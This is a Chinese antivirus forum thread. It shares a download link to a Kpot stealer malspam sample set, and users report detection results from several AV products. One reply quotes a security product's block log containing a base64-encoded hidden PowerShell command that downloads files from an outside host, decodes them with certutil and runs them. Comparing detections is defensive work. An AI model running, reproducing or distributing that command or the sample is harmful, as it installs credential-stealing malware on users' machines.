2020-03-30 - INVOICE-THEMED MALSPAM PUSHES KPOT STEALER

显示全部楼层 · 发表于 2020-3-31 07:12:57

下载地址：https://www.lanzous.com/iativha
IMAGES

Shown above: Screenshot of malspam pushing Kpot.

Shown above: Web page that came up during the download.

Shown above: Screenshot fo the downloaded Word document.

Shown above: Infection traffic filtered in Wireshark.

Shown above: Artifacts seen on an infected Windows host.

开学前最后的疯狂……

显示全部楼层 · 发表于 2020-3-31 07:56:50

本帖最后由巍巍于 2020-3-31 08:01 编辑

卡巴 kill doc
话说你是哪里人啊,咋开学这么早

显示全部楼层 · 发表于 2020-3-31 07:58:05

本帖最后由 swizzer 于 2020-3-31 07:59 编辑

智量

扫描只报一个doc
Trojan.Generic

显示全部楼层 · 发表于 2020-3-31 08:11:33

ESET
1x
时间;扫描程序;对象类型;对象;检测;操作;用户;信息;哈希;此处首次所见
2020/3/31 8:11:03;文件系统实时防护;文件;C:\Users\chenruoren\下载\2020-03-30-Kpot-malware-and-artifacts\gpay_Invoice.doc;Generik.FJMKXLX 特洛伊木马的变种;通过删除清除;LAPTOP-4U2QD2R4\chenruoren;在应用程序新建的文件上发生事件: C:\Program Files (x86)\360\360zip\360zip.exe (9C98FC5BEE0F10AA63EE60C6289026F1180821CB).;03F669BF1BB6E40F5677F6A65C6F7583CC0F3FCF;2020/3/31 8:11:01

显示全部楼层 · 发表于 2020-3-31 08:18:19

巍巍发表于 2020-3-31 07:56
卡巴 kill doc
话说你是哪里人啊,咋开学这么早

江苏7号非毕业班开学，最后一周了

显示全部楼层 · 发表于 2020-3-31 08:22:03

YorkWaugh 发表于 2020-3-31 08:18
江苏7号非毕业班开学，最后一周了

广东省尤其是广州市，每天境外输入都在5例以上，估计得到5月份。。。

显示全部楼层 · 发表于 2020-3-31 08:23:01

YorkWaugh 发表于 2020-3-31 08:18
江苏7号非毕业班开学，最后一周了

浙江至少要4月底才开学……这个开学日期是一推再推那

显示全部楼层 · 发表于 2020-3-31 08:57:45

QVM360 发表于 2020-3-31 08:22
广东省尤其是广州市，每天境外输入都在5例以上，估计得到5月份。。。

广东省河源市 4月13日开学

显示全部楼层 · 发表于 2020-3-31 09:00:39

咖啡miss all

显示全部楼层 · 发表于 2020-3-31 09:41:56

BEST
扫描miss all
双击 doc 触发上传沙盒拦截powershell
实时防护检测到恶意命令行的执行。进程 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行-windowstyle hidden -en SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvAHMAaABvAHcAMgAuAHcAZQBiAHMAaQB0AGUALwBnAGUAWgBqAFMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAG4ATQBiAGQALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAGEAYwBQAE0AUQAuAGQAYQB0ACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAdABrAG8AbABkAC4AYwBvAG0AIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAB4AHQAZAA0ADIAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAUABNAFEALgBjAG8AbQAiADsAIABTAGUAdAAtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHgAdABkADQAMgAgAHkAMgA5AHgAMwA7ACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAdABrAG8AbABkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHkAMgA5AHgAMwA=

[病毒样本] 2020-03-30 - INVOICE-THEMED MALSPAM PUSHES KPOT STEALER

本帖子中包含更多资源

浏览过的版块